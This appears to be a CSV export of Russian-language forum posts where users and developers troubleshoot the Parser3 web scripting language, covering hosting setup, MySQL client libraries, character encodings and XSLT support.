"56890","На него за раз максимум 15МБ ляжет, больше модем не осилит :)"
"56891","Большое спасибо, что разъяснили."
"56892","[quot]\
Parser (в виде модуля к Apache или IIS) кеширует соединения с SQL-серверами, и повторный запрос на соединение с той же строкой подключения не производится, а соединение берется из кеша, если оно еще действительно.\
\
Вариант CGI также кеширует соединение, но только на один запрос, поэтому явно допустимы конструкции вида:\
\
^connect[строка подключения]{…}\
^connect[строка подключения]{…}\
\
При этом не будет двух соединений, и это полезно, когда, скажем, изредка соединение нужно, и заранее неизвестно нужно или нет - заранее его можно не делать, а делать визуально многократно, зная, что оно фактически не разрывается.\
[/quot]"
"56893","пример, auth.p, строка 986 последняя с раскраской, дальше всё белое...\
\
# sometime clear old and not used session records\
^if(^math:random(100) < 10){\
\
последнее изменение в цветах - знак меньше, дальше всё белое до конца файла...\
\
колорер Nexus этот файл раскрашивает весь полностью..."
"56896","Товарищи, можете мне помочь свежим взглядом? Надо чтобы флаг устанавливался 1 если в слове содержится хотя бы один символ из списка, и 0 если нет.\
\
[code]$check5[^if(^uri.match[abcdefghijklmnopqrstuvwxyz]){1}{0}][/code]"
"56898","начальная синхронизация БД - частный случай \"синхронизации\". \
\
по своему опыту заявляю, что сделать начальную синхронизацию БД, размер которой исчисляется в ГБ парсером у вас скорее всего не получится (^memory:compact[] не спасет)."
"56899","1. А как можно посмотреть, что стоит по умолчанию?\
2. Я ничего не выкладывал, поскольку базовый пакет при распаковке устанавливается автоматически и в этот процесс я не вмешивался, т.к. если не знаешь, то лучше не трогать.\
Если можешь подсказать порядок действий, то буду благодарен, поскольку опыт программирования у меня только на дельфях, а в веб программировании я пока только дух )"
"56900","Можно лимитом попробовать, но это не правильно"
"56901","Windows XP, Apache 2.0.35, Parser 3.2\
\
Вызов ^xdoc::load приводит к Unhandled Exception\
\
В чём может быть причина?"
"56903","Этот же документ загружается без ошибок как файл."
"56904","[b]Ошибка такая:[/b] [i]Client does not support authentication protocol requested by server; consider upgrading MySQL client [sql.connect][/i]\
\
Нужного файла [b]libmysqlclient.so[/b] на сервере нет. И не предвидится.\
\
Вопрос к тем, кто уже находится на Арбатеке и решил эту проблему:\
Как вы это решили?\
Где взять нужную библиотеку из интернета?"
"56906","... можно поступить так: http://www.parser.ru/forum/?id=53335\
\
хотя правильнее стрясти нужную библиотеку. админы халявят - поставили новую версию MySQL но не дают вам новую версию клиентской библиотеки (libmysqlclient.so)."
"56907","при выводе double числа parser применяет формат %g или %.0f в зависимости от bool VDouble::has_frac()\
\
у меня есть ощущение, что эта функция мной написана непродуманно = без учёта отрицательных чисел и выдаёт для них всегда ответ «нет».\
\
вывод: если хочется конкретных знаков после запятой, имеет смысл так и указать:\
[code]\
^dValue.format[%.2f]\
[/code]\
\
2Misha: возможно, has_frac стоит подкрутить. abs там подрисовать к epsilon.."
"56908","http://dev.mysql.com/doc/refman/4.1/en/replication.html"
"56909","http://sequoia.continuent.org/HomePage"
"56911","Установил, тестовая страница говорить что все установлено правильно, однако когда повторяю урок 1 из справки по парсеру, вместо меню навигации выводит ^navigation[] В чем проблема, надо что то устанавливать вручную, помимо автоконфигуратора?"
"56912","...\"заводить юзера с OLD_PASSWORD\"?\
\
В контрольной панели сервера это делать???"
"56915","У меня на арбатеке 11 сайтов на Parser\
Не возникало таких проблем."
"56916","что вам нужно написать в техподдержку хостинга письмо  примерно такого содержания:\
\
[i]Уважаемый support,\
\
CGI-программа, которой я пользуюсь, не рассчитана на MySQL 4 (я получаю ошибку \"Client does not support authentication protocol requested by server; consider upgrading MySQL client\").\
\
Пожалуйста, смените пароль для моей базы на \
сервере: some_host\
логин:   some_user\
пароль:  moy_parol\
\
следующим образом:[/i][code]UPDATE mysql.user SET Password = OLD_PASSWORD('moy_parol')\
WHERE Host = 'some_host' AND User = 'some_user';\
FLUSH PRIVILEGES;[/code][i]Подробнее об этом написано в руководстве к MySQL:\
http://dev.mysql.com/doc/refman/5.0/en/old-client.html\
\
Спасибо.[/i]"
"56917","\"CGI-программа, которой я пользуюсь\"\
=>\
\"Клиентская библиотека libmysqlclient.so, которую вы предоставляете для использования\"\
\
:)"
"56919","Всем хай, просмотрел весь форум, но так и  не нашел аналогичного вопроса.\
Правильно я понимаю, что \
-добавление группы\
-добавление пользователя в конкретную группу\
не реализовано в этом классе?\
\
Но можно приписывать пользователю группу, у которой выставлен флаг is_default"
"56922","FAQ: Как подключить Parser к Apache?\
Проверка:\
.htaccess работает (test => internal severe error  с отчетом в логе):\
   DirectoryIndex index.html index.php index.wml\
   CharsetDisable On\
   AddHandler parsed-html html\
   Action parsed-html /cgi-bin/parser3.cgi\
   <Files ~ \"\\.(p|cfg)$\">\
   Order allow,deny\
   Deny from all\
   </Files>\
проверяю: www.mysite.ru => 404\
 если убираю AddHandler parsed-html html\
             Action parsed-html /cgi-bin/parser3.cgi => пускается index.html, тоже самое, когда в конце  RemoveHandler html\
\
FAQ: Что с Русским Apache?\
Проверка: CharsetDisable On => internal server error с отчетом в логе\
\
FAQ: «…safe mode…» - нет. suexec.log - нет. Premature end of script headers - нет. Всё закачиваю в бинарном режиме.\
FAQ: При попытке обратиться к parser3.cgi => 404 (не MSIEшная, а хостерская, но галочку убрал)\
\
[url=\"http://c1test.ht-systems.ru/\"]Информация[/url] о хостинговой платформе. Я перепробовал всё: freebsd обе версии, linux и даже exe."
"56924","[quote]FAQ: При попытке обратиться к parser3.cgi => 404[/quote]\
\
Вы кладёте в папку /cgi-bin/ файл parser3.cgi, ставите ему права 755, открываете браузер, вводите адрес http://www.mysite.ru/cgi-bin/parser3.cgi и получаете ошибку 404, да?\
\
Если так, все дальнейшие проблему лезут отсюда.\
\
Напишите хостеру короткий вопрос - \"почему файл, закачанный в cgi-bin, не открывается в браузере?\" - пусть отвечает."
"56925","- куда положили файл parser3.cgi?\
- какие права установили?\
- как обращаетесь в нему?"
"56928","У вас проблема - вы: \
1) кладёте Икс в папку cgi-bin\
2) ставите на Икс правильные права\
3) открываете Икс в браузере\
4) получаете ошибку \"404 - страница не найдена\"\
\
Для вас пока не важно, что это за Икс, верной ли он версии и т.п.\
\
Решите с техподдержкой главный вопрос, потом занимайтесь следующим."
"56929","И используется последняя версия Парсера?"
"56932","Поставьте перед ними задачу:\
\
\"закачиваю в /cgi-bin/ файл techsupport_durak.txt\
открываю в браузере www.mysite.ru/cgi-bin/techsupport_durak.txt\
получаю ошибку 404. Почему?!\"\
\
Пусть сначала решат ЭТУ проблему. Потом мы им объясним, что совет про ASCII - тупой и не имеет отношения к проблеме."
"56933","Если я правильно понимаю, то ответ - да на все вопросы. \
Но добавить метод, добавляющий и группу и пользователя в группу - дело 5 минут."
"56935","Каким образом происходит так, что срабатывает ^throw[]?\
[code]$p3{^asd[]}\
^if($p3 is \"junction\"){\
	$p3\
}{\
	^throw[debug;Метод;Не верные входные данные]\
}[/code]"
"56936","У вас в $p3 лежит результат выполнения метода, а фигурные скобки означают лишь то, что метод будет выполняться каждый раз, когда вы обращаетесь к переменной $p3. $p3 в вашем коде не является методом, а вы делаете проверку на него.\
\
Вот так будет выдавать [b]true[/b]:\
\
[code]\
@p3[]\
\
@main[]\
^if($p3 is \"junction\"){true}{false}\
[/code]\
\
Или еще вот так можно:\
\
[code]\
@method[]\
\
@main[]\
$p3[$method]\
^if($p3 is \"junction\"){true}{false}\
[/code]"
"56937","[b]is. Проверка типа[/b] \
 \
[b]Проверка наличия в переменной кода[/b] \
Т.к. оператор def не считает переменные, содержащие код, определенными, для проверки наличия в переменной кода необходимо использовать is: \
[code]$something{^do[]} \
^if($something is junction){ \
#   выполнение кода \
    $something \
} [/code]\
\
\
... далее...\
\
[b]Junction (класс)[/b] \
\
Значение типа junction появляется в переменной… \
\
…при присваивании ей кода: \
[code]$junction{Код, присваиваемый переменной: ^do_something[]}[/code] \
\
…при передачи кода параметром: \
[code]@somewhere[] \
^method{Код, передаваемый параметром: ^do_something_else[]} \
… \
@method[parameter] \
#здесь в $parameter придет junction [/code]\
\
Так что же я не так делаю?"
"56938","http://www.parser.ru/forum/?id=33671\
и...\
http://www.parser.ru/forum/?terms=junction&author=%C0%EB%E5%EA%F1%E0%ED%E4%F0+%CF%E5%F2%F0%EE%F1%FF%ED+%28PAF%29&doSearch=%CD%E0%E9%F2%E8"
"56939","Там написано что можно так.\
А так на самом деле нельзя.\
Бред.\
А сутки убитые на борьбу с самим собой можно было потратить на что-нить полезное."
"56940","P.S. запустил поиск по написанному мной коду: я ни разу не использовал $jVar is \"junction\". несколько раз проверял $jMethod is \"junction\", да и вообще $jVar{...код...} использовал лишь несколько раз. и до сих пор жив :)"
"56942","Оказывается это на моей панели настройки были, в той части, где я редко бываю. Прошу прощения за время отоброанное.\
Какую версию PARSER ставить? \
[url=\"http://c1test.ht-systems.ru/\"]Информация[/url] о моем сервере. \
При старте ехе - Premature end of script headers: parser3.exe\
При старте cgi - Parser/3.2.1sp2 (compiled on i686-pc-linux-gnu)."
"56943","А то я(думаю многие) собирать не умею, с юниксом на Вы, работаю на Денвере под win.\
\
К тому же мелочей уже набралось значительно:\
http://www.parser.ru/forum/?id=56918 ,\
http://www.parser.ru/forum/?id=51745 ,\
документация правилась, вроде,\
где то про сокеты было, не помню..\
\
наверно и еще есть что-то."
"56944","Спасибо большое за терпение. Вы такие добрые! :)"
"56945","Администраторы выложили мне тьму этих библиотек и ничего не заработало:\
\
[code]> # ls /home/user188/libmysqlclient/\
> ./                           libmysqlclient.so*\
> ../                          libmysqlclient.so.10*\
> libmysqlclient_r.so*         libmysqlclient.so.10.0.0*\
> libmysqlclient_r.so.10*      libmysqlclient.so.12*\
> libmysqlclient_r.so.10.0.0*  libmysqlclient.so.12.0.0*\
> libmysqlclient_r.so.12*      libmysqlclient.so.6*\
> libmysqlclient_r.so.12.0.0*  libmysqlclient.so.9*[/code]\
Может кто-нибудь подсказать, где добывают эти файлы вообще?\
Или какое-нибудь универсальное решение?\
\
И еще - раз нужен файл этой библиотеки соответствующий ОС и MySQL, то может стоить здесь выложить весь список этих версий?"
"56946","эти файлы собирают при сборке mysql из исходников, если указывают соответствующие ключики. выкладывать здесь списки я смысла не вижу, про них написано в документации по MySQL (для меня эти описания малопонятны, т.к. я не адинистратор *nix сервера)\
\
к несчастью в бинарники mysql сервера (которые есть для многих платформ) эти файлы (это есть клиентские библиотеки mysql) не входят (точнее они выложены отдельно в rpm для некоторых linux-ов, см. Shared libraries. если у вас linux можете попробовать скачать и поставить их самостоятельно, хотя похоже ваши админы именно это и сделали).\
\
т.е. если админы хостинга не собирают mysql сами, а качают бинарники, то этих файлов у них просто нет.\
\
в принципе .12 - это то что должно подойти (это клиентская библиотека для MySQL 4.0), в случае если она в принципе работает на вашей платформе.\
\
ссылки по теме:\
http://dev.mysql.com/doc/refman/5.1/en/configure-options.html\
http://dev.mysql.com/doc/refman/5.1/en/linux-rpm.html\
http://dev.mysql.com/doc/refman/5.1/en/installing-source.html"
"56948","Я поставил парсер (все тесты работают), создал .htaccess, пользуясь руководством сделал меню, но при загрузке мной страницы, где я разместил код для вывода меню, появляется ошибка:\
[quote]Unhandled Exception (parser.compile)\
.../www/index.html(2:12): parse error, expecting `'['' or `'{'' or `'(''[/quote]\
Помогите плз, я только начал осваивать парсер..."
"56949","Если не получилось, приведите, пожалуйста, код."
"56950","вот:\
[code]@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"center\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>[/code]"
"56952","проверьте тот файл на который ругается парсер то есть\
[code]\
Unhandled Exception (parser.compile)\
.../www/index.html(2:12): parse error, expecting `'['' or `'{'' or `'(''\
[/code]\
\
index.html\
\
если не справитесь выложите сюда [b]ЕГО[/b] код"
"56953","\"Поставщик\" контента дает целую систему на PHP, я могу настроить лишь внешний вид HTML'ом и CSS'ками, но мне мало - слишком убогинько :) Ибо хочу чтоб хотя бы навигация была человеческой.\
\
Может надо сделать это на PHP?\
Плохо, что совсем в PHP не врубаюсь и не хочу (к Парсеру дока-то человеческая ;).\
А может сделать [url=\"http://parser.ru/forum/?id=33412 \"]совет[/url] по теме, только в PHP и наоборот подключать PARSER? - Но как? :("
"56954","^navigation[]\
токо это."
"56955","Администраторs откуда-то достали еще библиотеку .10.0.0 И она заработала. Но после этого вылезла другая проблема, уж не знаю почему сразу не вылезала:\
\
[code]'./lib/libparser3mysql.so' driver failed to initialize client library\
'/home/user188/www/cgi-bin/parser3/lib/libmysqlclient.so.10.0.0',\
/home/user188/www/cgi-bin/parser3/lib/libmysqlclient.so.10.0.0: \
wrong ELF class: ELFCLASS64 [<no type>][/code]\
\
Администратор сервера сказал, что:\
\
[code]Данная ошибка говорит о том, что используется не тот парсер - не для той\
платформы (используется 32bit парсер, а платформа 64bit).[/code]\
\
Они сами взяли откуда-то 64 битную, но без поддержки XML.\
\
[b]Соответственно вопрос, где скачать Парсер для 64 битной платформы под Linux Redhat Fedora Core 4?[/b]"
"56956","ссылка по теме: http://www.parser.ru/forum/?id=56847"
"56957","http://www.parser.ru/docs/lang/?datecreatestring.htm\
\
[quot] Удобно использовать этот конструктор для работы с датами, полученными и[b]х[/b] базы данных, ведь из запроса вы получите значения полей с датой, временем или и датой и временем в виде строк.[/quot]\
\
Вместо \"их\" надо \"из\""
"56958","Или как тогда спецы из Арбатека сделали Парсер для 64-битной платформы?\
\
Они мне сообщили: [i]Вам необходимо установить скомпилированный парсер под 64bit Linux.[/i]\
\
То есть никакой более не подойдет. В то время как на Арбатеке кто-то успешно используется Парсер. Не понимаю, где ошибка?"
"56960","- насколько я понимаю, под x64 парсер пока не собирается в принципе. нам это пока не было нужно => не прикладывали усилий\
\
- насколько я понимаю, на большинстве x64 платформах включена обратная совместимость для приложений, т.е. 32 битные приложения выполняться могут. в вашем случае они точно могут выполняться, т.к. вы скопировали туда 32 битный парсер и он там работает.\
\
- возможно используют парсер без sql\
\
- возможно используется парсер на другом, не x64 сервере (у них наверняка не один сервер)\
\
- возможно используется парсер с mysql на 64 платформе, но пароль пользователя имеет старый формат (заведен давно), соотв. все прекрасно работает и со старой (и 32-х битной) клиентской библиотекой libmysqlclient.so (вам сразу предлагали такой вариант решения проблемы)\
\
- возможно тот кто использует там парсер + sql имеет клиентскую библиотеку для mysql 4 и выше, которая скомпилирована для 32 битной платформы: скомпилил сам, нашел готовую, дал админам пиво и они скомпилили, ... (я вам предлагал самому попробовать установить либы, ведь вы знаете вашу ОС)\
\
[quot]\
Они мне сообщили: Вам необходимо установить скомпилированный парсер под 64bit Linux.\
[/quot]\
\
это не единственный возможный вариант, см. выше.\
\
P.S. я завязал. мы топчемся на месте, все это вам уже говорили или приводили на это ссылки."
"56961","[url=\"http://www.artlebedev.ru/tools/technogrette/etc/admin/\"]http://www.artlebedev.ru/tools/technogrette/etc/admin/[/url]\
\
Как ловить номера картинок после перестановки, чтобы сохранить в базу?"
"56962","будем и дальше продолжать в том же духе?\
поставьте себя на наше место, и помогите нам вам помочь ;)"
"56963","коды даны исчерпывающие, номера лежат в массиве.\
\
P.S. на событие drop я повесил бы ajax скрипт, который бы в базу передавал номер картинки и сортировочный номер, и быстро и удобно."
"56964","http://code.google.com/webtoolkit/"
"56965","http://forge.mysql.com/wiki/Top10SQLPerformanceTips\
\
Очень полезный список - о многом на форуме уже говороилось, но... :)"
"56966","http://citforum.ru/database/articles/sql_refactoring/"
"56969","http://www.parser.ru/docs/lang/tablelocate.htm\
\
[quot]Поиске чувствителен к регистру букв[/quot]\
\
\"Поиске\" - лишняя буква \"е\""
"56970","Возникло у меня непонимание.\
\
В документации про классы написано:\
[quote]Если определен метод…\
@auto[]\
…он будет выполнен автоматически при загрузке класса как статический метод...[/quote]\
\
А если он указан не в пользовательском классе?\
Вроде работает точно так же.\
А почему он не перекрывает метод @auto[], определённый в вышележащем auto.p?\
\
Проясните, пожалуйста, ситуацию."
"56972","Последняя не везде. Но некоторые да. И все на MySQL."
"56973","http://www.spearance.ru/parser3/pictures/source/\
\
если задан только $.y_size, размер не подгоняется, ресайзит с размером 100xY."
"56975","Получил я все нужные файлы от администраторов Арбатека. Так что, если кому будут нужны, - можно не тратить столько времени на это. Могу прислать уже готовые (по почте - delta.x<doggy>МэйлРу). \
\
Всем спасибо!"
"56976","Разыскивается класс который представляет собой надстройку над таблицей и умеет:\
Загружаться из бд\
Предоставлять пользователям возможность редактирования/удаления данных\
Возможность отправки данных в обратно в бд\
ЗЫ Собственно говоря первый и третий пункт легко. Проблемы со вторым никак не могу понять как выяснить какое поле ключевой в таблице (т.к. редактировать и удалять можно только по ключевому полю)."
"56977","Введите высоту в [url=\"http://www.spearance.ru/parser3/pictures/\"]примере[/url], а значение ширины удалите - всё ресайзит как надо."
"56978","Добавил возможность удаления метаданных EXIF, IPTC из файла с картинкой. Для работы этой функции требуется наличие nConvert.\
\
P.S. Хозяйке на заметку, при удалении данных производится повторная компрессия."
"56981","Нужно жалкое подобие редактирования таблиц как phpMyAdmin."
"56982","Есть что-то похожее, даже два, но не доделаны. Умеют создавать таблицы по описанию, бэкапить, редактировать (без связанных ключей), восстанавливать, может что-то еще. К одному есть дока, к другому - примеры. Существуют как части CMS, поэтому встроить в свой проект будет непросто. Надо?"
"56983","Уже встречалось несколько раз на форуме, но так и не нашёл решения проблемы.\
Итак, я беру rss-поток со стороннего сервера (ну, с ЖЖ), кладу его на сервер себе. Полученный файл приходит в кодировке utf-8 (я проверял) и начинается с [code]<?xml version='1.0' encoding='utf-8' ?>[/code]\
Вылетает ошибка \"Input is not proper UTF-8\", причём вылетает даже если rss-поток английский.\
Подумал, может, дело в том, что в \\parser3\\charset\\ нет файла utf-8.cfg и в коренном auto.p тоже нет юникода? Или это не влияет на xml?\
А если влияет, то простите, не нашёл utf-8.cfg нигде в разделе downloads на этом сайте."
"56984","парсер и без него умеет работать с кодировкой utf-8, это его родная внутренняя кодировка.\
\
то что вы привели - заголовок xml, в котором говорится что сами данные в utf-8. но вот в utf-8 они или нет - вопрос.\
если вы после ещё одной проверки решите что там таки utf-8, то приведите ваш код (+ не забудьте указать ваши $request:charset и $response:charset) и ссылку, по которой можно посмотреть содержимое файла, на который парсер ругается."
"56985","После ещё одной проверки всё равно решил.\
Вот хотя бы ЖЖ: http://maq.livejournal.com/data/rss/\
\
Код:\
[code]$src[^file::load[text;http://maq.livejournal.com/data/rss/]]\
$xml[^xdoc::create{^untaint{$src.text}}]\
^src.save[text;rss.xml][/code]\
На второй строке выдаёь ошибку\
[code]...parser error : Input is not proper UTF-8, indicate encoding !|Bytes: 0xF4 0xEE 0xF2 0xEE|  <description>16:56:44 Maq: фотография воды на марсе, сделанная 2 часа назад - |                             ^| [xml][/code]"
"56986","проблема в том, что парсер при загрузке данных с удаленного сервера перекодирует текстовое содержимое из кодировки, которую сообщил тот сервер в кодировку, указанную вами в $request:charset.\
\
т.е. после загрузки в $src.text у вас буквы в кодировке из $request:charset (какой именно вы не сообщили, но очевидно, что не в utf-8)\
\
но при этом xml declaration осталась старой: <?xml ... encoding=\"utf-8\"...?>\
\
отсюда проблемы с последующим созданием xdoc.\
\
варианты:\
1. попросить парсер ничего не перекодировать, сказав при загрузке binary вместо text\
2. сделать replace encoding=\"utf-8\" на encoding=\"$request:charset\"\
3. написать патч, чтобы при загрузке xml, парсер не только перекодировал содержимое, но и сам менял xml declaration %-)"
"56987","Да!\
Пропустил ваше замечание про \"не забудьте указать ваши $request:charset и $response:charset\".\
Поставил юникод в реквест и всё заработало, спасибо!"
"56988","Нид хелп, ребят\
ситуация следующая: есть две папки, одна из них вложена в другую. К обоим прикручен класс авторизации с разным функционалом. Одновременно работать в них не получается, т.к. приходится все время перелогиниваться. Происходит это из-за того, что куку и там и там одинаковая. Никак не могу понять, как это исправить?\
заранее спасибо"
"56989","Индексная страница отображается корректно.\
cgi-bin/parser3.cgi выдает корректно - Parser/3.2.1sp2 (compiled on i686-pc-linux-gnu)\
Когда захожу в виртуальный раздел - пишет ошибку 404 апач и в логах я вижу ile does not exist: /home/site/public_html/news/\
в .htaccess прописано \
\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Подскажите что не так настроено, или в какую сторону копать."
"56991","Дело в том, что сайт был перенесен с друго хостинга. В нем он работал полностью нормально. Сайт был сделан не нами.\
В нем эти папки не существовали, т.е. как я понимаю парсер перехватывал как обработчик 404 и выдавал 200 с последующей генерацией контента. В данном случае, после переноса он перестал так делать. \
Отсюда и вопрос, что может быть не так в настройках ?\
\
На ваш вопрос отвечаю прямо - хочу увидеть содержимое раздела в который я захожу."
"56992","Покажите нам, как он выглядел на старом.\
\
Если файлы идентичны, помотрите на папку уровнем выше - там может лежать ещё один .htaccess - их содержимое \"складывается\".\
\
Проконсультируйтесь с разработчиком; если же разработчик - Студия Лебедева, позвоните им, а не пишите в форум."
"56993","файлы .htaccess идентичны. в вышестоящей папке тоже тоже нет файла, перекрывающего его.\
с разработчиком нет связи =( иначе бы сюда не писали бы."
"56994","Проверьте все вышестоящие папки - может, он там?\
\
Ещё одно идиотское предположение - а старый хостинг, часом, не использует другой вебсервер, не Апач?\
\
Может быть файл .htaccess на старом хостинге ни на что не влиял?"
"56995","как я понял там апач. во всех вышестоящих нет ничего такого - 100%.\
даже если на старом хостинге он не влиял, то по-идее, если смотреть документацию, этих строк необходимо и достаточно для полноценной работы парсера.\
сам парсер на новом хостинге был собран из исходников, т.е. должен работать корректно."
"56996","на старом хостинге выскакивало еще окно авторизации стандартное апачевское, а на новом не выскакивает... т.е. судя по всему не корректно отрабатывает все же скрипт...\
какие параметры и где можно просмотреть и как их можно проверить ?"
"56997","еще одну вещь заметил,\
отображаются по разному вещи..\
http://site.ru/ - отображает полный контент.\
http://site.ru/index.html - отображает только оформление."
"56998","возможно в случае ошибки (нет файла) в указанном методе разбирался url со всеми вытекающими.\
\
если не поможет - пробуйте выяснить: \
- точно не использовался mod_rewrite включенный в конфиге апача?\
- точно страница для обработки 404 ошибки не была назначена в конфиге апача и не указывала на файл, на который она щас не указывает? (ErrorDocument 404 /filename.html)"
"57000","да, кажется страница 404 назначена принудительно..\
на что это значение перекрыть в .htaccess ?"
"57001","то есть:\
$fFile[^file::load[text;http://что-то-там/]]\
$xDoc[^xdoc::create{[b]^untaint[/b]{$fFile.text}}]"
"57002","Даже если не смогу портировать, то посмотрю как сделанно и сам сделаю. Я ведь тоже пишу очень маленькую CMS :) Просто себе в удовольствие."
"57003","вам надо выяснить что за файл в вашем коде отвечает за разбор url и формирование страницы, а потом 404 переправить на него.\
\
P.S. считаю что этот вариант неправильный, однако в вашем случае, когда все готово тут делать нечего."
"57004","Простите за дурацкие вопросы, но на данный момент знание парсера нулевое.\
\
Функция обработки unhandled_exception\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
[/code]\
\
Не подскажете по каким характерным именам функций или переменных нужно искать соответствующий файл в коде ?"
"57005","контент в самих подразделах не отображается."
"57008","версии парсера на старом/новом сервере одинаковые?\
если разные - лучше сделать чтобы были одинаквыми, имхо\
конфигурационный файл (тот который лежит рядом с parser3.cgi) взяли со старого сервера?\
SQL использовался? Если да - найдите строку подключения (поиском по файлам и слову ^connect[) проверьте та ли. Если вы поменяли хостинг, врядли база осталась та же.\
\
@unhandled_exception - оставьте в покое - дело не в нем."
"57010","вариант: «админы арбатек молодцы»."
"57011","можно на форуме по PHP спросить примерно так:\
\"коллеги, мне нужно посередине моей страницы на .php отобразить кусочек с другого веб-сервера, подскажите направление мысли, пожалуйста?\"\
\
конечно, предварительно поискав ответ самому."
"57012","Если я извлекаю select запросом данные из бд, то в классе table информация о колонках не предоставленна (или я не знаю как ее получить). Вопрос как на парсере узнать какое поле первичное и вообще как получать информацию и таблицы из бд и где ее хранить?"
"57013","\"поставщик дает целую систему на PHP, я могу настроить лишь внешний вид \" -> сделать её на parser не получится.\
\"хочу чтоб хотя бы навигация была\" -> не хочу я на PHP ни чего писать и дописывать, мне parser нравится =>  что-нибудь кроме этого [url=\"http://parser.ru/forum/?id=33412\"]способа[/url] ещё есть?\
\"может сделать тоже, но только в PHP?\" - т.е. на parser это ни как не сделаешь => \"[url=\"http://www.parser.ru/forum/?id=57011\"]иди[/url] от сюда мальчик\".\
Вопрос про написание на PHP \"Но как?\" был риторическим.\
.\
Я хочу услышать что-то вроде: [color=\"#990000\"] в parser'е еще ни чего не придумано, кроме указанного в [url=\"http://parser.ru/forum/?id=33412\"]совете[/url] способа[/color], либо направление в котором грести."
"57014","помечайте риторические что-ли ;)\
ведь ответил буквально на поставленный вопрос без всякой задней мысли.\
\
давайте попробуем без ключевых слов и скрытых чернил, что вы конкретно хотите?\
\
из parser вызвать php есть вариант.\
из php вызвать parser тоже можно и понятно, куда копать.\
что-то ещё?"
"57015","без дополнительной информации."
"57017","Простите, постараюсь объяснить подробнее..\
Главная страница отображается полностью корректно. в ней присутствует как корректное оформление, так и информация, которая хранится в SQL базе.\
При заходе в разделы, которые выполнены как папки остается общее оформление, а информация из базы не берется. ошибок в логах тоже нет, за исключением того что данная подпапка не существует.\
Хотя страница отобрадждается, пишется корректно что мы находимся в этом подразделе, но без контента."
"57018","В [url=\"http://www.parser.ru/forum/?id=33412\"]этом[/url] совете Вы описали такой способ и написали, что он не подходит, если много PHP. У меня весь сайт на PHP и менять его не могу, так как это данность от поставщика, а там черт ногу сломит (сайт к их базе обращается постоянно и я не хочу лезть в это), я только могу оформить это красиво (так как то, что дали - кх-кх.. :\\ стыдно показывать). Есть что-то кроме способа описаннго в том совете? \
Если другого способа нет, буду всё таки пробовать этим - вдруг получится... А там видно будет.\
Спасибо за внимание и понимание! :)"
"57019","Подскажите, как к Парсеру прикрутить XSLT второй версии? Я так понимаю, что нужно его перекомпилировать с новым трансформатором? Если это так, то по каким критериям искать трансформатор и где можно почитать о компиляции?"
"57020","http://xmlsoft.org/XSLT/\
новые версии выходили, и, тривиально указав новую версию этой библиотеки в файле buildall-with-xml (исходники parser), вы можете собрать parser с желаемой версией libxslt.\
\
однако, насколько мне известно, автор libxslt XSLT 2.0 ещё не реализовывал.\
\
теоретически, можно найти другую библиотеку поддержки XSLT для C/C++. в природе есть несколько.\
когда-то в Parser3 мы использовали Apache XAlan, возможно, авторы этой библиотеки пошли дальше и у них есть XSLT 2.0\
однако \"просто подменить одну библиотеку другой\" для Parser нельзя.\
ведь API этих библиотек несовместимы.\
(и заменить придётся libxml на Apache Xerces).\
\
XAlan+Xerces по нашим подсчётам на момент принятия решения, были в ~1.5 раза медленнее и в ~5 раз более требовательны к памяти (могу немного ошибаться в цифрах, но порядок такой) чем libxml+libxslt."
"57021","тогда нужно сделать включение в PHP страницу кусочка на parser.\
об этом и был мой изначальный ответ.\
\
пытаться сделать наоборот при таком соотношении — нерационально.\
\
если предполагается много кода и на PHP и на Parser, то этот проект целиком неразумен. ничего хорошего не выйдет."
"57022","Вы правы, Александр, libxslt не поддерживает XSLT 2.0, как и xalan. Из поддерживающих данную технологию нашел только два процессора: Saxon и AltovaXML 2007. Но проблема заключается в том, что они работают на  Java, COM и .NET  интерфейсах. Можно ли из этого что-нибудь выжать?"
"57023","Очень маловероятно что по делу, если да то выход можно найти в других средствах, да пусть это будет кривее и менее элегантно нежели чем фичи 2.0. Если ради технологического фетиша - предлагаю забить и пользоваться тем что есть и не забивать себе голову ерундой."
"57024","\"подключить\" их нелья.\
переписать с одного языка программирования на другой, можно.\
однако чтобы только переключить parser с xalan+xerces на libxml+libxslt ушло 2 человеко-недели чистого времени.\
я затрудняюсь даже приблизительно оценить масштаб работы.\
\
выход: если считаете, что это всем нужно, попытайтесь склонить Deniel'а..\
уверен, вы будете не первый и в архиве листа рассылки, вероятно, найдёте его ответ."
"57025","когда-то давно, когда нужно было спешить и клиент настаивал,\
для МТС мы использовали [b]внешний[/b] XSL преобразователь.\
висел на java демон, слушал port, и обрабатывал запросы на XSLT.\
это чтобы скэшировать XSL шаблоны.\
в parser был if-чик, который по наличию $MAIN:xsl-server, делал пост-обработку, отправляя результат своей работу туда, и выдавая пользователю обработанное.\
\
если вам зачем-то очень нужно, уверен, демона на java написать не составит труда (тривиальный займёт 50 строк от силы).\
а кусок, обращающийся к внешнему демону, можно или сделать скриптом, или выковырять из CVS из старой версии parser.\
\
если есть желание поупражняться, могу предложить не изобретать протоколов (как это делал тогда совсем глупый я), а сразу сделать web-service.\
\
однако, безусловно, это всё исключительное извращение!"
"57026","<a href=\"http://www.sql.ru/articles/mssql/03101301UsingSQLServerMetadata.shtml\">Oтвет</a>"
"57027","вы тогда сразу напишите, что имеете дело с SQL Server. Будет гораздо проще."
"57028","Доброго времени суток!\
Столкнулся с проблемой отображения xml с помощью xsl.\
\
Кратко исходные данные:\
<row>\
<item1>word1</item1>\
<item2>word2</item2>\
<item3>word1</item3>\
</row>\
<row>\
<item1>word1</item1>\
<item2>word2</item2>\
<item3>word4</item3>\
</row>\
<row>\
<item1>word5</item1>\
<item2>word2</item2>\
<item3>word1</item3>\
</row>\
<row>\
<item1>word1</item1>\
<item2>word2</item2>\
<item3>word2</item3>\
</row>\
